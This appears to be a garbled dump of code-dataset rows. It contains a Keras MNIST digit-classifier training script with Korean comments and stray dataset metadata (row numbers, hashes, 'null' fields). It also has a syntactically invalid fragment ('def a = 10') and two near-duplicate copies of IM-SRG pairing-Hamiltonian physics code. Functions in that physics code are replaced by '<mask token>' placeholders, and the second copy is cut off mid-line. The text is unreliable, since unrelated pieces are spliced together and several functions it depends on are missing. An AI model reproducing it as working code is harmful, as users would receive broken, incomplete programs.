import os import cv2 import numpy as np from sklearn.preprocessing import LabelEncoder from sklearn.preprocessing import OneHotEncoder from numpy import array import tensorflow as tf TRAIN_DIR = 'C:/Users/vgg/untitled/MNIST/trainingSet/' train_folder_list = array(os.listdir(TRAIN_DIR)) train_input = [] train_label = [] label_encoder = LabelEncoder() # LabelEncoder Class 호출 integer_encoded = label_encoder.fit_transform(train_folder_list) onehot_encoder = OneHotEncoder(sparse=False) integer_encoded = integer_encoded.reshape(len(integer_encoded), 1) onehot_encoded = onehot_encoder.fit_transform(integer_encoded) for index in range(len(train_folder_list)): path = os.path.join(TRAIN_DIR, train_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) train_input.append([np.array(img)]) train_label.append([np.array(index)]) train_input = np.reshape(train_input, (-1, 28, 28)) train_label = np.reshape(train_label, (-1,)) train_input = np.array(train_input).astype(np.float32) train_label = np.array(train_label).astype(np.float32) np.save("train_data.npy", train_input) np.save("train_label.npy", train_label) TEST_DIR = 'C:/Users/vgg/untitled/MNIST/testSet/' test_folder_list = array(os.listdir(TEST_DIR)) test_input = [] test_label = [] label_encoder = LabelEncoder() integer_encoded = label_encoder.fit_transform(test_folder_list) onehot_encoder = OneHotEncoder(sparse=False) integer_encoded = integer_encoded.reshape(len(integer_encoded), 1) onehot_encoded = onehot_encoder.fit_transform(integer_encoded) for index in range(len(test_folder_list)): path = os.path.join(TEST_DIR, test_folder_list[index]) path = path + '/' img_list = os.listdir(path) for img in img_list: img_path = os.path.join(path, img) img = cv2.imread(img_path, cv2.IMREAD_GRAYSCALE) test_input.append([np.array(img)]) test_label.append([np.array(index)]) test_input = np.reshape(test_input, (-1, 28, 28)) test_label = np.reshape(test_label, (-1,)) test_input = np.array(test_input).astype(np.float32) test_label = np.array(test_label).astype(np.float32) np.save("test_input.npy", test_input) np.save("test_label.npy", test_label) #-*- coding: utf-8 -*- from keras.datasets import mnist from keras.utils import np_utils from keras.models import Sequential from keras.layers import Dense, Dropout, Flatten, Conv2D, MaxPooling2D from keras.callbacks import ModelCheckpoint,EarlyStopping import matplotlib.pyplot as plt # seed 값 설정 seed = 0 np.random.seed(seed) tf.set_random_seed(seed) # 데이터 불러오기 # test_input = [] # test_label = [] # # train_input = [] # train_label = [] X_train = train_input Y_train = train_label X_test = test_input Y_test = test_label print('X train shape') print(X_train.shape) print('Y train shape') print(Y_train.shape) print('X test shape') print(X_test.shape) print('y test shape') print(Y_test.shape) #(X_train, Y_train), (X_test, Y_test) = mnist.load_data() X_train = X_train.reshape(X_train.shape[0], 28, 28, 1).astype('float32') / 255 X_test = X_test.reshape(X_test.shape[0], 28, 28, 1).astype('float32') / 255 Y_train = np_utils.to_categorical(Y_train) Y_test = np_utils.to_categorical(Y_test) # 컨볼루션 신경망의 설정 model = Sequential() model.add(Conv2D(32, kernel_size=(3, 3), input_shape=(28, 28, 1), activation='relu')) model.add(Conv2D(64, (3, 3), activation='relu')) model.add(MaxPooling2D(pool_size=2)) model.add(Dropout(0.25)) model.add(Flatten()) model.add(Dense(128, activation='relu')) model.add(Dropout(0.5)) model.add(Dense(10, activation='softmax')) model.compile(loss='categorical_crossentropy', optimizer='adam', metrics=['accuracy']) # 모델 최적화 설정 MODEL_DIR = './model/' if not os.path.exists(MODEL_DIR): os.mkdir(MODEL_DIR) modelpath="./model/{epoch:02d}-{val_loss:.4f}.hdf5" checkpointer = ModelCheckpoint(filepath=modelpath, monitor='val_loss', verbose=1, save_best_only=True) early_stopping_callback = EarlyStopping(monitor='val_loss', patience=10) # 모델의 실행 history = model.fit(X_train, Y_train, validation_data=(X_test, Y_test), epochs=15, batch_size=100, verbose=0, callbacks=[early_stopping_callback,checkpointer]) # 테스트 정확도 출력 print("\n Test Accuracy: %.4f" % (model.evaluate(X_test, Y_test)[1])) # 테스트 셋의 오차 y_vloss = history.history['val_loss'] # 학습셋의 오차 y_loss = history.history['loss'] # 그래프로 표현 x_len = np.arange(len(y_loss)) plt.plot(x_len, y_vloss, marker='.', c="red", label='Testset_loss') plt.plot(x_len, y_loss, marker='.', c="blue", label='Trainset_loss') # 그래프에 그리드를 주고 레이블을 표시 plt.legend(loc='upper right') plt.grid() plt.xlabel('epoch') plt.ylabel('loss') plt.show()
[ 0, 1, 2, 3, 4 ]
9,909
1be5de71615eae6c9074e67b0dcaabbac4d82e2b
def a = 10 b = 2 c = 3 cal(a,b,c)
null
null
null
null
[ 0 ]
9,910
0eb86fc64b74c79cace838e2d71ed92533123229
<mask token> def construct_basis_ph2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis <mask token> def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B): dim = len(basph2B) Gamma_ph = np.zeros((dim, dim)) for i1, (a, b) in enumerate(basph2B): for i2, (c, d) in enumerate(basph2B): Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]] return Gamma_ph def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B): dim = len(bas2B) Gamma = np.zeros((dim, dim)) for i1, (a, b) in enumerate(bas2B): for i2, (c, d) in enumerate(bas2B): Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]] return Gamma <mask token> def calc_fod_norm(f, user_data): particles = user_data['particles'] holes = user_data['holes'] norm = 0.0 for a in particles: for i in holes: norm += f[a, i] ** 2 + f[i, a] ** 2 return np.sqrt(norm) def calc_Gammaod_norm(Gamma, user_data): particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] norm = 0.0 for a in particles: for b in particles: for i in holes: for j in holes: norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[ idx2B[i, j], idx2B[a, b]] ** 2 return np.sqrt(norm) def construct_occupation_1B(bas1B, holes, particles): dim = len(bas1B) occ = np.zeros(dim) for i in holes: occ[i] = 1.0 return occ <mask token> def construct_occupationB_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j] return occ def construct_occupationC_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] * occ1B[j] return occ def eta_brillouin(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: eta1B[a, i] = f[a, i] eta1B[i, a] = -f[a, i] eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: val = Gamma[idx2B[a, b], idx2B[i, j]] eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_imtime(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = np.sign(dE) * f[a, i] eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]] eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = f[a, i] / denom eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = Gamma[idx2B[a, b], idx2B[i, j]] / denom eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white_mp(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] val = f[a, i] / denom eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] val = Gamma[idx2B[a, b], idx2B[i, j]] / denom eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white_atan(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = 0.5 * np.arctan(2 * f[a, i] / denom) eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j ]] / denom) eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_wegner(f, Gamma, user_data): dim1B = user_data['dim1B'] holes = user_data['holes'] particles = user_data['particles'] bas2B = user_data['bas2B'] basph2B = user_data['basph2B'] idx2B = user_data['idx2B'] idxph2B = user_data['idxph2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] fd = np.zeros_like(f) fod = np.zeros_like(f) Gammad = np.zeros_like(Gamma) Gammaod = np.zeros_like(Gamma) for a in particles: for i in holes: fod[a, i] = f[a, i] fod[i, a] = f[i, a] fd = f - fod for a in particles: for b in particles: for i in holes: for j in holes: Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b], idx2B[i, j]] Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j], idx2B[a, b]] Gammad = Gamma - Gammaod eta1B = np.zeros_like(f) eta1B += commutator(fd, fod) for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q] ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[ i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i ] * Gammad[idx2B[i, p], idx2B[a, q]] GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for i in holes: eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] - transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]]) GammaGamma = dot(Gammad, dot(occC_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] + transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]]) eta2B = np.zeros_like(Gamma) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[ idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[ idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[ idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[ idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[ idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[ idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[ idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[ idx2B[p, q], idx2B[r, t]] GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) eta2B += 0.5 * (GammaGamma - transpose(GammaGamma)) Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B) Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B) GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph)) GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B) work = np.zeros_like(GammaGamma) for i1, (i, j) in enumerate(bas2B): for i2, (k, l) in enumerate(bas2B): work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2 ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i], idx2B[l, k]] GammaGamma = work eta2B += GammaGamma return eta1B, eta2B def flow_imsrg2(eta1B, eta2B, f, Gamma, user_data): dim1B = user_data['dim1B'] holes = user_data['holes'] particles = user_data['particles'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] basph2B = user_data['basph2B'] idxph2B = user_data['idxph2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] dE = 0.0 for i in holes: for a in particles: dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a] for i in holes: for j in holes: for a in particles: for b in particles: dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[ idx2B[a, b], idx2B[i, j]] df = np.zeros_like(f) df += commutator(eta1B, f) for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q] ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[ i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i ] * eta2B[idx2B[i, p], idx2B[a, q]] etaGamma = dot(eta2B, dot(occB_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for i in holes: df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] + transpose(etaGamma)[idx2B[i, p], idx2B[i, q]]) etaGamma = dot(eta2B, dot(occC_2B, Gamma)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] + transpose(etaGamma)[idx2B[r, p], idx2B[r, q]]) dGamma = np.zeros_like(Gamma) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s ] * eta2B[idx2B[p, q], idx2B[r, t]] etaGamma = dot(eta2B, dot(occB_2B, Gamma)) dGamma += 0.5 * (etaGamma + transpose(etaGamma)) eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B) Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B) etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph)) etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B, idxph2B) work = np.zeros_like(etaGamma) for i1, (i, j) in enumerate(bas2B): for i2, (k, l) in enumerate(bas2B): work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2 ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B [l, k]] etaGamma = work dGamma += etaGamma return dE, df, dGamma def get_operator_from_y(y, dim1B, dim2B): ptr = 0 zero_body = y[ptr] ptr += 1 one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B)) ptr += dim1B * dim1B two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B)) return zero_body, one_body, two_body <mask token> def pairing_hamiltonian(delta, g, user_data): bas1B = user_data['bas1B'] bas2B = user_data['bas2B'] idx2B = user_data['idx2B'] dim = len(bas1B) H1B = np.zeros((dim, dim)) for i in bas1B: H1B[i, i] = delta * np.floor_divide(i, 2) dim = len(bas2B) H2B = np.zeros((dim, dim)) for i, j in bas2B: if i % 2 == 0 and j == i + 1: for k, l in bas2B: if k % 2 == 0 and l == k + 1: H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g return H1B, H2B <mask token> def calc_mbpt2(f, Gamma, user_data): DE2 = 0.0 particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] for i in holes: for j in holes: for a in particles: for b in particles: denom = f[i, i] + f[j, j] - f[a, a] - f[b, b] me = Gamma[idx2B[a, b], idx2B[i, j]] DE2 += 0.25 * me * me / denom return DE2 <mask token> def main(): delta = float(argv[1]) g = float(argv[2]) particles = 4 dim1B = 8 holes = [0, 1, 2, 3] particles = [4, 5, 6, 7] bas1B = range(dim1B) bas2B = construct_basis_2B(holes, particles) basph2B = construct_basis_ph2B(holes, particles) idx2B = construct_index_2B(bas2B) idxph2B = construct_index_2B(basph2B) occ1B = construct_occupation_1B(bas1B, holes, particles) occA_2B = construct_occupationA_2B(bas2B, occ1B) occB_2B = construct_occupationB_2B(bas2B, occ1B) occC_2B = construct_occupationC_2B(bas2B, occ1B) occphA_2B = construct_occupationA_2B(basph2B, occ1B) user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles, 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B, 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B': occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2} H1B, H2B = pairing_hamiltonian(delta, g, user_data) E, f, Gamma = normal_order(H1B, H2B, user_data) y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1))) solver = ode(derivative_wrapper, jac=None) solver.set_integrator('vode', method='bdf', order=5, nsteps=1000) solver.set_f_params(user_data) solver.set_initial_value(y0, 0.0) sfinal = 50 ds = 0.1 print( '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s' % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||', '||fod||', '||Gammaod||')) print('-' * 148) while solver.successful() and solver.t < sfinal: ys = solver.integrate(sfinal, step=True) dim2B = dim1B * dim1B E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B) DE2 = calc_mbpt2(f, Gamma, user_data) DE3 = calc_mbpt3(f, Gamma, user_data) norm_fod = calc_fod_norm(f, user_data) norm_Gammaod = calc_Gammaod_norm(Gamma, user_data) print( '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f' % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'], user_data['eta_norm'], norm_fod, norm_Gammaod)) if abs(DE2 / E) < 1e-07: break return <mask token>
<mask token> def construct_basis_ph2B(holes, particles): basis = [] for i in holes: for j in holes: basis.append((i, j)) for i in holes: for a in particles: basis.append((i, a)) for a in particles: for i in holes: basis.append((a, i)) for a in particles: for b in particles: basis.append((a, b)) return basis <mask token> def ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B): dim = len(basph2B) Gamma_ph = np.zeros((dim, dim)) for i1, (a, b) in enumerate(basph2B): for i2, (c, d) in enumerate(basph2B): Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]] return Gamma_ph def inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B): dim = len(bas2B) Gamma = np.zeros((dim, dim)) for i1, (a, b) in enumerate(bas2B): for i2, (c, d) in enumerate(bas2B): Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]] return Gamma <mask token> def calc_fod_norm(f, user_data): particles = user_data['particles'] holes = user_data['holes'] norm = 0.0 for a in particles: for i in holes: norm += f[a, i] ** 2 + f[i, a] ** 2 return np.sqrt(norm) def calc_Gammaod_norm(Gamma, user_data): particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] norm = 0.0 for a in particles: for b in particles: for i in holes: for j in holes: norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[ idx2B[i, j], idx2B[a, b]] ** 2 return np.sqrt(norm) def construct_occupation_1B(bas1B, holes, particles): dim = len(bas1B) occ = np.zeros(dim) for i in holes: occ[i] = 1.0 return occ <mask token> def construct_occupationB_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j] return occ def construct_occupationC_2B(bas2B, occ1B): dim = len(bas2B) occ = np.zeros((dim, dim)) for i1, (i, j) in enumerate(bas2B): occ[i1, i1] = occ1B[i] * occ1B[j] return occ def eta_brillouin(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: eta1B[a, i] = f[a, i] eta1B[i, a] = -f[a, i] eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: val = Gamma[idx2B[a, b], idx2B[i, j]] eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_imtime(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = np.sign(dE) * f[a, i] eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]] eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = f[a, i] / denom eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = Gamma[idx2B[a, b], idx2B[i, j]] / denom eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white_mp(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] val = f[a, i] / denom eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] val = Gamma[idx2B[a, b], idx2B[i, j]] / denom eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_white_atan(f, Gamma, user_data): dim1B = user_data['dim1B'] particles = user_data['particles'] holes = user_data['holes'] idx2B = user_data['idx2B'] eta1B = np.zeros_like(f) for a in particles: for i in holes: denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]] val = 0.5 * np.arctan(2 * f[a, i] / denom) eta1B[a, i] = val eta1B[i, a] = -val eta2B = np.zeros_like(Gamma) for a in particles: for b in particles: for i in holes: for j in holes: denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[ idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j], idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[ idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i], idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]] val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j ]] / denom) eta2B[idx2B[a, b], idx2B[i, j]] = val eta2B[idx2B[i, j], idx2B[a, b]] = -val return eta1B, eta2B def eta_wegner(f, Gamma, user_data): dim1B = user_data['dim1B'] holes = user_data['holes'] particles = user_data['particles'] bas2B = user_data['bas2B'] basph2B = user_data['basph2B'] idx2B = user_data['idx2B'] idxph2B = user_data['idxph2B'] occB_2B = user_data['occB_2B'] occC_2B = user_data['occC_2B'] occphA_2B = user_data['occphA_2B'] fd = np.zeros_like(f) fod = np.zeros_like(f) Gammad = np.zeros_like(Gamma) Gammaod = np.zeros_like(Gamma) for a in particles: for i in holes: fod[a, i] = f[a, i] fod[i, a] = f[i, a] fd = f - fod for a in particles: for b in particles: for i in holes: for j in holes: Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b], idx2B[i, j]] Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j], idx2B[a, b]] Gammad = Gamma - Gammaod eta1B = np.zeros_like(f) eta1B += commutator(fd, fod) for p in range(dim1B): for q in range(dim1B): for i in holes: for a in particles: eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q] ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[ i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i ] * Gammad[idx2B[i, p], idx2B[a, q]] GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for i in holes: eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] - transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]]) GammaGamma = dot(Gammad, dot(occC_2B, Gammaod)) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] + transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]]) eta2B = np.zeros_like(Gamma) for p in range(dim1B): for q in range(dim1B): for r in range(dim1B): for s in range(dim1B): for t in range(dim1B): eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[ idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[ idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[ idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[ idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[ idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[ idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[ idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[ idx2B[p, q], idx2B[r, t]] GammaGamma = dot(Gammad, dot(occB_2B, Gammaod)) eta2B += 0.5 * (GammaGamma - transpose(GammaGamma)) Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B) Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B) GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph)) GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B, basph2B, idxph2B) work = np.zeros_like(GammaGamma) for i1, 